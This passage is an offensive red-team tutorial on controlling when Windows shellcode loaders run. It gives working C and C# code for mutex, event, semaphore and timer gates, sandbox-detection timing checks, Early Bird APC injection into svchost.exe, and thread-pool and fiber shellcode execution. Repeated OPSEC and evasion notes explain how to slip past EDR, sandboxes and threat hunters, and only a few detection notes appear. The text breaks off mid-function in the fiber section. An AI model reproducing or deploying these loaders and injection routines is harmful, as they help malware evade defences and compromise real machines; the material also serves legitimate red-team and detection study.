Legend:
[GATE]= Execution gate technique |[SYNC]= Synchronization primitive |[EVASION]= AV/EDR bypass vector |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[CALLBACK]= Callback-based execution |[TIMING]= Timing / delay technique |[TOOL]= Tool reference
1. What is Payload Execution Control
What it means: Payload execution control is a class of techniques used to determine when, how, and under what conditions a payload (shellcode, DLL, PE) runs. Instead of simply jumping to shellcode, execution is gated or deferred using synchronization primitives and OS mechanisms — giving the implant the ability to coordinate multi-instance behavior, evade sandboxes, delay execution to bypass timing-based analysis, and trigger off of legitimate OS events.
The core problem:
Naive shellcode execution (no control):
VirtualAlloc → write shellcode → CreateThread → immediately executes
EDR/Sandbox sees:
├─ VirtualAlloc with RWX permissions → suspicious
├─ Immediate execution from committed memory → flagged
├─ Sandbox accelerates Sleep() → catches payload anyway
└─ Multiple loader instances = double execution = IOC noise
What execution control solves:
Controlled shellcode execution:
Mutex check → not already running? → continue
Semaphore wait → execution slot free? → acquire
Event signal → trigger from C2 or system event? → fire
Waitable timer → 10-second delay passed? → decrypt + run
EDR/Sandbox sees:
├─ Standard synchronization calls (normal process behavior)
├─ Deferred execution → sandbox timeout reached → exits without payload
├─ No double-execute (mutex prevents it)
└─ Execution triggered only in correct environment
Why it matters for red teaming:
| Scenario | No Execution Control | With Execution Control |
|---|---|---|
| Sandbox analysis | Shellcode executes immediately, captured | Mutex + timer check → sandbox times out |
| Multi-instance loaders | Double execution → IOC noise | Mutex prevents re-run |
| Coordinated multi-stage attack | Race conditions, overlap | Semaphore gates sequential execution |
| Trigger-based payloads | Always runs on launch | Event signal from C2 triggers execution |
| Sleep-skipping sandboxes | Sleep bypassed, payload caught | Timer-verify check exits on skip |
| Behavior-based EDR | Thread creation = detected | Fiber / APC / callback execution avoids CreateThread |
The layered approach (recommended):
Payload loader starts
└─ Mutex check (layer 1 — prevents re-execution)
└─ Environment gate (layer 2 — sandbox/VM detection)
└─ Timing gate (layer 3 — sleep-verify / timer)
└─ Event wait (layer 4 — signal from C2 or system)
└─ Semaphore acquire (layer 5 — concurrency control)
└─ Shellcode executes (via callback / APC / fiber)
[OPSEC] Naked shellcode execution (VirtualAlloc + CreateThread) is the highest-confidence IOC a loader can produce. Wrap execution in legitimate OS synchronization primitives and callbacks.
2. Mutex — Single-Instance Gate
What it means: A Mutex (Mutual Exclusion object) is a named or unnamed kernel object that can be owned by only one thread at a time. In payload context, a named mutex acts as a global "already running" flag — a second instance of the loader checks for the mutex and exits if it finds it, preventing double execution and the IOC noise that comes with it. Malware families also use mutex names as behavioral fingerprints — defenders hunt for them; sophisticated loaders randomize the name or derive it from system properties.
2.1 Mutex Fundamentals
Mutex states:
Signaled (not owned) → any thread can acquire it
Non-signaled (owned) → other threads block or bail
Key Windows API:
CreateMutexA / CreateMutexW → create or open a named mutex
OpenMutexA / OpenMutexW → open existing mutex (check if running)
WaitForSingleObject → wait to acquire ownership
ReleaseMutex → release ownership
CloseHandle → close the handle
Named mutex: visible globally → Global\<name> prefix crosses session boundary
Unnamed mutex: local to process → not useful for cross-instance gating
2.2 Single-Instance Check (C — Classic Pattern)
/*
* mutex_gate.c — Single-instance payload execution via named mutex
* Purpose: Prevent multiple loader instances from running simultaneously
*/
#include <windows.h>
#include <stdio.h>
// ─── Configuration ───────────────────────────────────────────
// [OPSEC] Randomize or environment-derive this name in production
// Defender hunters look for hardcoded mutex names
#define MUTEX_NAME "Global\\WindowsUpdateNotify"
// ─────────────────────────────────────────────────────────────
BOOL IsAlreadyRunning(void) {
// Try to OPEN an existing mutex — if it exists, we're already running
HANDLE hMutex = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, MUTEX_NAME);
if (hMutex != NULL) {
CloseHandle(hMutex);
return TRUE; // Already running — another instance holds the mutex
}
return FALSE;
}
HANDLE AcquireInstanceMutex(void) {
// Create the mutex — we become the owner
HANDLE hMutex = CreateMutexA(NULL, TRUE, MUTEX_NAME);
if (hMutex == NULL) {
// Creation failed
return NULL;
}
if (GetLastError() == ERROR_ALREADY_EXISTS) {
// Mutex existed — another process beat us to it
CloseHandle(hMutex);
return NULL;
}
return hMutex; // We created and own it
}
int main(void) {
// ── Step 1: Single-instance check ──────────────────────────
if (IsAlreadyRunning()) {
// [OPSEC] Silent exit — don't print anything in real implant
printf("[!] Instance already running. Exiting.\n");
return 0;
}
// ── Step 2: Acquire the mutex (become the owner) ───────────
HANDLE hMutex = AcquireInstanceMutex();
if (hMutex == NULL) {
printf("[-] Failed to acquire instance mutex.\n");
return 1;
}
printf("[+] Mutex acquired: %s\n", MUTEX_NAME);
printf("[*] We are the single running instance.\n");
// ── Step 3: Execute payload ────────────────────────────────
// ... shellcode execution here ...
printf("[*] Payload executing...\n");
Sleep(5000); // Simulate payload runtime
// ── Step 4: Release and cleanup ───────────────────────────
ReleaseMutex(hMutex);
CloseHandle(hMutex);
printf("[+] Mutex released. Exiting cleanly.\n");
return 0;
}
2.3 Environment-Derived Mutex Name (OPSEC Hardened)
/*
* dynamic_mutex.c — Derive mutex name from system properties
* [OPSEC] No hardcoded string = no static signature for defenders to hunt
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
void BuildMutexName(char *out, size_t out_len) {
char computer[MAX_COMPUTERNAME_LENGTH + 1] = {0};
char user[256] = {0};
DWORD clen = sizeof(computer);
DWORD ulen = sizeof(user);
GetComputerNameA(computer, &clen);
GetUserNameA(user, &ulen);
// Combine: Global\<ComputerName>_<UserName>_SVC
// Each victim machine produces a unique mutex name
snprintf(out, out_len, "Global\\%s_%s_SVC", computer, user);
}
int main(void) {
char mutex_name[512] = {0};
BuildMutexName(mutex_name, sizeof(mutex_name));
printf("[*] Mutex name: %s\n", mutex_name);
HANDLE hMutex = CreateMutexA(NULL, TRUE, mutex_name);
if (hMutex == NULL || GetLastError() == ERROR_ALREADY_EXISTS) {
printf("[!] Already running or mutex error.\n");
if (hMutex) CloseHandle(hMutex);
return 0;
}
printf("[+] Single instance confirmed — executing payload.\n");
// ... payload ...
ReleaseMutex(hMutex);
CloseHandle(hMutex);
return 0;
}
2.4 Mutex in C# (Red Team Implant)
using System;
using System.Threading;
class PayloadGate
{
static Mutex _mutex = null;
static bool IsSingleInstance(string mutexName)
{
bool createdNew;
_mutex = new Mutex(true, mutexName, out createdNew);
return createdNew; // true = we're the first instance
}
static void Main(string[] args)
{
// Derive name at runtime — no hardcoded string
string mutexName = @"Global\WinDefSvc_" + Environment.MachineName;
if (!IsSingleInstance(mutexName))
{
// Silent exit — already running
Environment.Exit(0);
}
try
{
Console.WriteLine("[+] Single instance confirmed.");
// Execute payload
ExecutePayload();
}
finally
{
_mutex.ReleaseMutex();
}
}
static void ExecutePayload()
{
Console.WriteLine("[*] Payload running...");
Thread.Sleep(3000);
}
}
2.5 Detection Artifacts
[DETECT] Mutex indicators:
├─ Process Monitor: CreateMutex / OpenMutex API calls
├─ Sysmon Event ID 17/18: Named pipe; but mutexes visible in handles
├─ Volatility: windows.handles --type=Mutant
├─ ProcessHacker → Handles tab → Mutant type → lists all mutex names
├─ Registry: not stored — kernel object, volatile
└─ Known bad mutex names (threat intel list):
├─ Cobalt Strike beacons: often random-looking strings
├─ Emotet: "Global\I<MachineGUID>"
└─ Custom: defenders hunt for unusual naming patterns
# Enumerate process mutexes on live system (PowerShell)
Get-Process | ForEach-Object {
$proc = $_
try {
$handles = [System.Diagnostics.Process]::GetProcessById($proc.Id).Handle
} catch { }
}
# Volatility3 — dump all mutex handles from memory image
python3 vol.py -f memory.dmp windows.handles --type=Mutant
# Handle.exe (Sysinternals) — show named mutexes for a process
handle.exe -p <PID> -a | findstr "Mutant"
[OPSEC] Never hardcode a mutex name. Derive it from: ComputerName, MachineGUID, Volume serial number, or a hash. Static mutex strings are the #1 persistence IOC hunted by threat intel teams.
3. Events — Signal-Based Execution
What it means: A Windows Event object is a synchronization primitive with two states — Signaled and Non-Signaled. Threads waiting on an event block until it is set to the Signaled state. For payload control, events enable trigger-based execution — the payload waits for an event to be signaled (by another process, a C2, or a system condition) before running. This is a clean "fire on signal" model used for coordinated multi-stage attacks and C2-triggered payloads.
3.1 Event Types
Manual-reset event:
CreateEvent(NULL, TRUE, FALSE, "MyEvent")
├─ Stays signaled until explicitly reset with ResetEvent()
├─ ALL threads waiting on it wake simultaneously
└─ Use for: broadcast trigger (notify all workers)
Auto-reset event:
CreateEvent(NULL, FALSE, FALSE, "MyEvent")
├─ Automatically goes back to Non-Signaled after ONE thread wakes
├─ Only ONE waiting thread is released per SetEvent() call
└─ Use for: controlled one-at-a-time execution gate
3.2 Event-Gated Payload (C — Dual Process)
/*
* event_gate.c — Two-process coordination via named event
*
* Process A (Dropper): creates event, sets it when ready
* Process B (Loader): waits on event, executes payload when signaled
*
* Use case: Stage 1 dropper signals Stage 2 loader to execute
*/
#include <windows.h>
#include <stdio.h>
#define EVENT_NAME "Global\\WinSvc_EventGate_001"
// ── PROCESS B: Loader — waits for signal ──────────────────────
int loader_main(void) {
printf("[Loader] Waiting for trigger event: %s\n", EVENT_NAME);
// Open existing event (created by dropper)
HANDLE hEvent = OpenEventA(EVENT_ALL_ACCESS, FALSE, EVENT_NAME);
if (hEvent == NULL) {
// Event doesn't exist yet — create it in non-signaled state
hEvent = CreateEventA(NULL, FALSE, FALSE, EVENT_NAME);
if (hEvent == NULL) {
printf("[-] CreateEvent failed: %lu\n", GetLastError());
return 1;
}
printf("[Loader] Event created (non-signaled). Waiting...\n");
}
// Block until event is signaled — can set timeout for self-destruct
DWORD result = WaitForSingleObject(hEvent, 30000); // 30 second timeout
switch (result) {
case WAIT_OBJECT_0:
printf("[+] Event signaled! Executing payload...\n");
// ... shellcode execution here ...
break;
case WAIT_TIMEOUT:
printf("[!] Timeout reached — no signal received. Exiting.\n");
// [OPSEC] Self-destruct or clean exit
break;
case WAIT_FAILED:
printf("[-] WaitForSingleObject failed: %lu\n", GetLastError());
break;
}
CloseHandle(hEvent);
return 0;
}
// ── PROCESS A: Dropper — signals when ready ───────────────────
int dropper_main(void) {
printf("[Dropper] Creating trigger event...\n");
HANDLE hEvent = CreateEventA(NULL, FALSE, FALSE, EVENT_NAME);
if (hEvent == NULL) {
printf("[-] CreateEvent failed: %lu\n", GetLastError());
return 1;
}
// Do stage-1 work: download payload, check environment, etc.
printf("[Dropper] Stage 1 complete. Signaling loader...\n");
Sleep(3000);
// Signal: releases ONE waiting thread (auto-reset event)
if (!SetEvent(hEvent)) {
printf("[-] SetEvent failed: %lu\n", GetLastError());
} else {
printf("[+] Event signaled successfully.\n");
}
CloseHandle(hEvent);
return 0;
}
3.3 Multiple Waiters with WaitForMultipleObjects
/*
* multi_event_gate.c — Wait on multiple events simultaneously
* Use case: Execute payload only when ALL conditions are met
*/
#include <windows.h>
#include <stdio.h>
int main(void) {
// Create two events: environment-check + C2-auth
HANDLE hEnvReady = CreateEventA(NULL, TRUE, FALSE, "Global\\EnvReady");
HANDLE hAuthDone = CreateEventA(NULL, TRUE, FALSE, "Global\\C2Auth");
HANDLE events[2] = { hEnvReady, hAuthDone };
printf("[*] Waiting for all conditions to be met...\n");
// Wait for ALL events to be signaled (bWaitAll = TRUE)
DWORD result = WaitForMultipleObjects(2, events, TRUE, 60000); // 60s timeout
if (result == WAIT_OBJECT_0) {
printf("[+] All conditions met! Executing payload.\n");
// ... execute shellcode ...
} else if (result == WAIT_TIMEOUT) {
printf("[!] Conditions not met in time. Aborting.\n");
}
CloseHandle(hEnvReady);
CloseHandle(hAuthDone);
return 0;
}
3.4 Event Used as Sandbox Detector
/*
* event_sandbox_detect.c — Use event timing to detect sandbox
* Sandboxes often skip or fast-forward waits → timing mismatch → abort
*/
#include <windows.h>
#include <stdio.h>
BOOL SandboxDetect_EventTiming(void) {
HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL); // Unnamed, non-signaled
DWORD before = GetTickCount();
// Wait 5 seconds — sandbox may skip this
DWORD result = WaitForSingleObject(hEvent, 5000);
DWORD elapsed = GetTickCount() - before;
CloseHandle(hEvent);
// If elapsed << 5000ms, the sandbox fast-forwarded the wait
if (elapsed < 4000) {
printf("[!] Timing anomaly detected (%lu ms < 4000 ms) — likely sandbox.\n", elapsed);
return TRUE; // Sandbox detected
}
printf("[+] Timing check passed (%lu ms). Proceeding.\n", elapsed);
return FALSE;
}
int main(void) {
if (SandboxDetect_EventTiming()) {
ExitProcess(0); // Silent exit
}
// ... continue to payload ...
return 0;
}
[OPSEC] Events are cross-process — a named event can be read from any process with sufficient privileges. Use \\Sessions\\<N>\\BaseNamedObjects\\<name> prefix for session-scoped events. Defenders use ProcessHacker to inspect named kernel objects.
4. Semaphores — Counted Resource Gate
What it means: A Semaphore is a synchronization primitive with an internal counter. It allows up to N threads/processes to hold it simultaneously. When the count reaches zero, further waiters block until a holder releases it. In payload control, semaphores are used to gate how many concurrent payload instances can execute and for sequential multi-stage coordination where you need a counter-based slot system.
4.1 Semaphore Fundamentals
Semaphore states:
Count > 0 → Signaled (WaitForSingleObject returns immediately, count --)
Count == 0 → Non-signaled (waiters block)
Key API:
CreateSemaphoreA(attrs, initialCount, maxCount, name)
OpenSemaphoreA(access, inherit, name)
WaitForSingleObject(hSem, timeout) → acquire (count --)
ReleaseSemaphore(hSem, count, prev) → release (count ++)
Example:
CreateSemaphore(NULL, 3, 3, "PayloadSlots")
→ allows exactly 3 concurrent instances
→ 4th instance blocks until one of the 3 calls ReleaseSemaphore
4.2 Concurrent Instance Limiter (C)
/*
* semaphore_gate.c — Limit concurrent payload execution to N instances
* Use case: distributed loader that should run max 2 instances per host
*/
#include <windows.h>
#include <stdio.h>
#define SEM_NAME "Global\\PayloadExec_Slots"
#define MAX_INSTANCES 2 // Max concurrent executions allowed
int main(void) {
// ── Create or open the semaphore ───────────────────────────
HANDLE hSem = CreateSemaphoreA(
NULL, // Default security
MAX_INSTANCES, // Initial count (slots available)
MAX_INSTANCES, // Maximum count
SEM_NAME // Named — visible cross-process
);
if (hSem == NULL) {
printf("[-] CreateSemaphore failed: %lu\n", GetLastError());
return 1;
}
printf("[*] Attempting to acquire execution slot...\n");
// ── Acquire a slot (non-blocking check first) ──────────────
DWORD result = WaitForSingleObject(hSem, 0); // 0ms = instant check
if (result == WAIT_TIMEOUT) {
// No slots available — max instances already running
printf("[!] All execution slots occupied. Max instances reached. Exiting.\n");
CloseHandle(hSem);
return 0;
}
if (result != WAIT_OBJECT_0) {
printf("[-] WaitForSingleObject failed: %lu\n", GetLastError());
CloseHandle(hSem);
return 1;
}
// ── Slot acquired — execute payload ───────────────────────
printf("[+] Execution slot acquired. Running payload...\n");
// ... shellcode execution here ...
Sleep(10000); // Simulate payload runtime
// ── Release the slot when done ─────────────────────────────
LONG prevCount = 0;
ReleaseSemaphore(hSem, 1, &prevCount);
printf("[+] Slot released. Previous count was: %ld\n", prevCount);
CloseHandle(hSem);
return 0;
}
4.3 Sequential Stage Gate (Semaphore Pipeline)
/*
* semaphore_pipeline.c — Stage-based execution using semaphores as gates
* Stage 1 signals Stage 2, Stage 2 signals Stage 3 — pipeline model
*/
#include <windows.h>
#include <stdio.h>
#include <process.h>
HANDLE hStage1Done;
HANDLE hStage2Done;
// Stage 2: waits for Stage 1 to complete
unsigned __stdcall Stage2Thread(void *arg) {
printf("[Stage2] Waiting for Stage 1 completion...\n");
WaitForSingleObject(hStage1Done, INFINITE);
printf("[Stage2] Stage 1 done. Executing Stage 2 payload...\n");
Sleep(2000); // Stage 2 work
// Signal Stage 3 to proceed
ReleaseSemaphore(hStage2Done, 1, NULL);
printf("[Stage2] Done. Signaled Stage 3.\n");
return 0;
}
int main(void) {
// Stage 1 done semaphore (starts at 0 — not yet signaled)
hStage1Done = CreateSemaphoreA(NULL, 0, 1, NULL);
// Stage 2 done semaphore (starts at 0)
hStage2Done = CreateSemaphoreA(NULL, 0, 1, NULL);
// Launch Stage 2 thread (it will block waiting for Stage 1)
_beginthreadex(NULL, 0, Stage2Thread, NULL, 0, NULL);
// Stage 1 executes
printf("[Stage1] Executing Stage 1 payload...\n");
Sleep(3000);
printf("[Stage1] Done. Signaling Stage 2.\n");
ReleaseSemaphore(hStage1Done, 1, NULL);
// Wait for Stage 2 to complete before running Stage 3
WaitForSingleObject(hStage2Done, INFINITE);
printf("[Stage3] All stages complete. Final payload running.\n");
CloseHandle(hStage1Done);
CloseHandle(hStage2Done);
return 0;
}
[OPSEC] Named semaphores are visible in kernel handle tables — same detection vector as mutexes. Use short-lived semaphores or unnamed (anonymous) ones when cross-process coordination is not needed.
5. Waitable Timers — Time-Deferred Execution
What it means: A Waitable Timer is a kernel object that becomes signaled at a specified time or after a specified interval. Unlike Sleep(), which is trivially bypassed by sandbox time-acceleration, waitable timers combined with timing verification provide a more robust time-gate. They also support APC-based callback delivery — the payload runs in the timer's completion callback, completely avoiding CreateThread.
5.1 Waitable Timer Fundamentals
Timer types:
Manual-reset timer: stays signaled after expiry → resets with SetWaitableTimer
Synchronization timer: auto-resets → only ONE waiter released per expiry
Key API:
CreateWaitableTimer(attrs, bManualReset, name)
SetWaitableTimer(hTimer, dueTime, period, completion, arg, resume)
WaitForSingleObject(hTimer, timeout)
CancelWaitableTimer(hTimer)
CloseHandle(hTimer)
Time encoding (LARGE_INTEGER):
Negative value = relative time (in 100-nanosecond intervals)
Positive value = absolute UTC time
Convert seconds to LARGE_INTEGER:
10 seconds = -10 * 10,000,000 = -100,000,000
5.2 Timer-Deferred Shellcode Execution (C)
/*
* timer_gate.c — Defer shellcode execution by N seconds via WaitableTimer
* [EVASION] Sandbox timeout usually < 60 seconds → use 90-120s delay
*/
#include <windows.h>
#include <stdio.h>
// Shellcode placeholder (replace with actual payload)
unsigned char shellcode[] = {
0x90, 0x90, 0x90, // NOP sled (placeholder)
0xc3 // RET
};
int main(void) {
HANDLE hTimer = NULL;
LARGE_INTEGER liDueTime;
// ── Set delay: 90 seconds ──────────────────────────────────
// Negative = relative time, units = 100ns intervals
// 90s × 10,000,000 = 900,000,000 units
liDueTime.QuadPart = -900000000LL; // -90 seconds
// ── Create unnamed manual-reset waitable timer ─────────────
hTimer = CreateWaitableTimerA(NULL, TRUE, NULL);
if (!hTimer) {
printf("[-] CreateWaitableTimer failed: %lu\n", GetLastError());
return 1;
}
// ── Set the timer ─────────────────────────────────────────
if (!SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, FALSE)) {
printf("[-] SetWaitableTimer failed: %lu\n", GetLastError());
CloseHandle(hTimer);
return 2;
}
printf("[*] Timer set. Waiting 90 seconds before execution...\n");
// ── Block until timer fires ────────────────────────────────
DWORD result = WaitForSingleObject(hTimer, INFINITE);
if (result == WAIT_OBJECT_0) {
printf("[+] Timer fired. Executing payload.\n");
// Allocate and execute shellcode
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (exec_mem) {
memcpy(exec_mem, shellcode, sizeof(shellcode));
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(exec_mem, 0, MEM_RELEASE);
}
}
CloseHandle(hTimer);
return 0;
}
5.3 Timer + Timing Verification (Anti-Sandbox)
/*
* timer_verify.c — Verify that the expected time ACTUALLY elapsed
* [EVASION] Sandboxes accelerate time → elapsed ≠ expected → bail out
*/
#include <windows.h>
#include <stdio.h>
#define SLEEP_SECONDS 30
#define TOLERANCE_MS 3000 // Allow 3s tolerance for system load
BOOL TimingCheckPassed(DWORD expected_ms) {
HANDLE hTimer;
LARGE_INTEGER liDueTime;
DWORD before, after, elapsed;
// Set timer for expected duration
liDueTime.QuadPart = -(LONGLONG)expected_ms * 10000LL;
hTimer = CreateWaitableTimerA(NULL, TRUE, NULL);
if (!hTimer) return FALSE;
before = GetTickCount();
SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, FALSE);
WaitForSingleObject(hTimer, (expected_ms * 2)); // Max wait = 2x expected
after = GetTickCount();
elapsed = after - before;
CloseHandle(hTimer);
printf("[*] Expected: %lu ms | Elapsed: %lu ms\n", expected_ms, elapsed);
// If sandbox fast-forwarded, elapsed << expected
if (elapsed < (expected_ms - TOLERANCE_MS)) {
printf("[!] Time skipping detected — likely sandbox.\n");
return FALSE;
}
return TRUE;
}
int main(void) {
printf("[*] Running timing gate (%d seconds)...\n", SLEEP_SECONDS);
if (!TimingCheckPassed(SLEEP_SECONDS * 1000)) {
printf("[!] Sandbox/VM detected. Exiting silently.\n");
ExitProcess(0);
}
printf("[+] Timing check passed. Executing payload.\n");
// ... payload ...
return 0;
}
[DETECT] Timer IOCs: CreateWaitableTimer → SetWaitableTimer → WaitForSingleObject is a recognizable chain. Combine with [OPSEC] note: use NtWaitForSingleObject (direct syscall) instead of the high-level wrapper to avoid userland hooks.
6. APC Injection — Alertable State Execution
What it means: An Asynchronous Procedure Call (APC) is a function queued to execute in the context of a specific thread when that thread enters an alertable state. Alertable states occur when a thread calls SleepEx, WaitForSingleObjectEx, WaitForMultipleObjectsEx, or SignalObjectAndWait with the bAlertable flag set to TRUE. APC injection queues shellcode as an APC, bypassing CreateThread and CreateRemoteThread — the most heavily monitored execution APIs.
6.1 APC Execution Flow
Classic APC injection flow:
1. OpenProcess() → get handle to target process
2. VirtualAllocEx() → allocate memory in target
3. WriteProcessMemory()→ write shellcode to target memory
4. OpenThread() → get handle to target thread
5. QueueUserAPC() → queue shellcode address as APC
6. Thread becomes alertable → APC fires → shellcode runs
MITRE ATT&CK: T1055.004 — Process Injection: APC
Early Bird variant:
1. CreateProcess(SUSPENDED) → create process suspended
2. VirtualAllocEx / WriteProcessMemory → inject shellcode
3. QueueUserAPC → queue before entry point runs
4. ResumeThread → process starts, APC fires BEFORE main()
→ runs before any AV hooks are loaded!
6.2 Early Bird APC Injection (C)
/*
* early_bird_apc.c — APC injection into suspended process before EP
* [EVASION] Payload runs before AV hooks are installed in the process
* MITRE: T1055.004
*/
#include <windows.h>
#include <stdio.h>
// Shellcode placeholder — replace with your payload
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, // setup
// ... rest of shellcode ...
0xc3 // ret
};
int main(void) {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
LPVOID remote_mem = NULL;
// ── Step 1: Spawn legitimate process in suspended state ────
// Use a common system process as the host
BOOL created = CreateProcessA(
"C:\\Windows\\System32\\svchost.exe", // Host process
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, // Suspended!
NULL, NULL, &si, &pi
);
if (!created) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Spawned svchost.exe PID=%lu (suspended)\n", pi.dwProcessId);
// ── Step 2: Allocate memory in target process ──────────────
remote_mem = VirtualAllocEx(
pi.hProcess,
NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!remote_mem) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
return 1;
}
printf("[+] Allocated %zu bytes at %p in target.\n", sizeof(shellcode), remote_mem);
// ── Step 3: Write shellcode into target ───────────────────
SIZE_T written = 0;
WriteProcessMemory(pi.hProcess, remote_mem, shellcode, sizeof(shellcode), &written);
printf("[+] Wrote %zu bytes to target.\n", written);
// ── Step 4: Queue APC to the main thread ──────────────────
// QueueUserAPC queues to the suspended main thread
// When thread becomes alertable (on ResumeThread), APC fires
DWORD result = QueueUserAPC(
(PAPCFUNC)remote_mem, // APC function = shellcode address
pi.hThread, // Target: suspended main thread
(ULONG_PTR)NULL // Parameter (NULL for shellcode)
);
if (!result) {
printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
return 1;
}
printf("[+] APC queued. Resuming thread — shellcode fires at EP.\n");
// ── Step 5: Resume — APC fires before main() ──────────────
ResumeThread(pi.hThread);
// Wait for process to exit
WaitForSingleObject(pi.hProcess, 10000);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
6.3 Local Self-APC (Alertable Sleep)
/*
* local_apc.c — Queue APC to own thread via alertable sleep
* [EVASION] No remote process — entire execution stays in-process
*/
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xc3 }; // NOP, NOP, NOP, RET
// APC callback — this IS the shellcode runner
void CALLBACK ShellcodeAPC(ULONG_PTR param) {
LPVOID sc = (LPVOID)param;
printf("[APC] Callback fired. Executing shellcode at %p\n", sc);
// Cast and call shellcode
((void(*)(void))sc)();
}
int main(void) {
// Allocate executable memory for shellcode
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, shellcode, sizeof(shellcode));
// Queue APC to current thread (ourselves)
QueueUserAPC(ShellcodeAPC, GetCurrentThread(), (ULONG_PTR)exec_mem);
printf("[*] APC queued. Entering alertable sleep to trigger it...\n");
// SleepEx with bAlertable=TRUE → triggers queued APCs
SleepEx(1000, TRUE);
printf("[*] Returned from alertable sleep.\n");
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
6.4 Detection
[DETECT] APC injection signatures:
├─ Sysmon Event ID 8: CreateRemoteThread (not APC, but related)
├─ API sequence: OpenProcess → VirtualAllocEx → WriteProcessMemory → QueueUserAPC
├─ ETW: Microsoft-Windows-Threat-Intelligence provider logs QueueUserAPC
├─ EDR behavioral: shellcode in remote RWX memory → executed via APC
└─ Abnormal: svchost.exe making network connections after APC injection
7. Thread Pool Wait — Callback Execution
What it means: CreateThreadpoolWait creates a wait object that calls a specified callback function when a waitable event object becomes signaled. By passing shellcode's address as the callback, execution is dispatched through the legitimate Windows Thread Pool — which has a clean call stack rooted in ntdll!TppWorkerThread. This avoids CreateThread entirely, presenting a much cleaner execution chain to EDR call stack inspection.
7.1 Thread Pool Execution (C)
/*
* threadpool_wait.c — Execute shellcode via CreateThreadpoolWait callback
* [EVASION] Execution stack: TppWorkerThread → shellcode (no CreateThread)
* MITRE: T1055 (indirect execution)
* Reference: https://www.ired.team/...shellcode-execution-via-createthreadpoolwait
*/
#include <windows.h>
#include <threadpoolapiset.h>
#include <stdio.h>
// Shellcode placeholder — replace with real payload
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0,
// ...
0xc3
};
int main(void) {
// ── Step 1: Allocate RWX memory and copy shellcode ─────────
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!exec_mem) {
printf("[-] VirtualAlloc failed\n");
return 1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
printf("[+] Shellcode at: %p\n", exec_mem);
// ── Step 2: Create event in SIGNALED state ─────────────────
// Manual reset = TRUE, Initial state = TRUE (already signaled)
// This means the callback fires immediately when we set the wait
HANDLE hEvent = CreateEventA(NULL, TRUE, TRUE, NULL);
if (!hEvent) {
printf("[-] CreateEvent failed\n");
return 1;
}
// ── Step 3: Create threadpool wait object ─────────────────
// Callback = shellcode address (cast to PTP_WAIT_CALLBACK)
// The callback is called when hEvent becomes signaled
PTP_WAIT tpWait = CreateThreadpoolWait(
(PTP_WAIT_CALLBACK)exec_mem, // Shellcode = "callback"
NULL, // Optional context parameter
NULL // Use default callback environment
);
if (!tpWait) {
printf("[-] CreateThreadpoolWait failed\n");
CloseHandle(hEvent);
return 1;
}
// ── Step 4: Associate event with wait object ───────────────
// Since event is already signaled → callback fires immediately
SetThreadpoolWait(tpWait, hEvent, NULL);
printf("[+] Threadpool wait set. Callback (shellcode) will fire shortly.\n");
// ── Step 5: Wait for execution to complete ─────────────────
WaitForSingleObject(hEvent, INFINITE);
// Cleanup
CloseThreadpoolWait(tpWait);
CloseHandle(hEvent);
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
[OPSEC] The thread pool call stack (TppWorkerThread) is much less suspicious than CreateThread pointing directly at shellcode memory. Pair with call stack spoofing for maximum stealth.
8. Fibers — Cooperative Execution
What it means: Fibers are lightweight, user-mode scheduled units of execution — essentially cooperative coroutines. Unlike threads, fibers are scheduled by the program itself (not the OS) and require explicit calls to SwitchToFiber to transfer execution. Shellcode can be loaded as a fiber and executed by switching to it, completely avoiding thread creation APIs that EDRs monitor. Fibers don't appear in thread listings.
8.1 Fiber Shellcode Execution (C)
/*
* fiber_exec.c — Execute shellcode as a Windows Fiber
* [EVASION] No CreateThread / CreateRemoteThread — fibers are user-mode
* [DETECT] Still visible: RWX memory + ConvertThreadToFiber + CreateFiber
*/
#include <windows.h>
#include <stdio.h>
// Shellcode placeholder
unsigned char shellcode[] = {
0x90, 0x90, 0x90, // NOP sled
0xc3 // RET
};
LPVOID g_shellcode_addr = NULL;
LPVOID g_main_fiber = NULL;
// Fiber wrapper — called when we SwitchToFiber(shellcode_fiber)
void CALLBACK ShellcodeFiber(LPVOID param) {
printf("[Fiber] Shellcode fiber executing at %p\n", g_shellcode_addr);
// Execute the shellcode
((void(*)(void))g_shellcode_addr)();
// Switch back to main fiber when done
SwitchToFiber(g_main_fiber);
}
int main(void) {
// ── Step 1: Allocate memory and write shellcode ────────────
g_shellcode_addr = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!g_shellcode_addr) return 1;
memcpy(g_shellcode_addr, shellcode, sizeof(shellcode));
printf("[*] Shellcode at: %p\n", g_shellcode_addr);
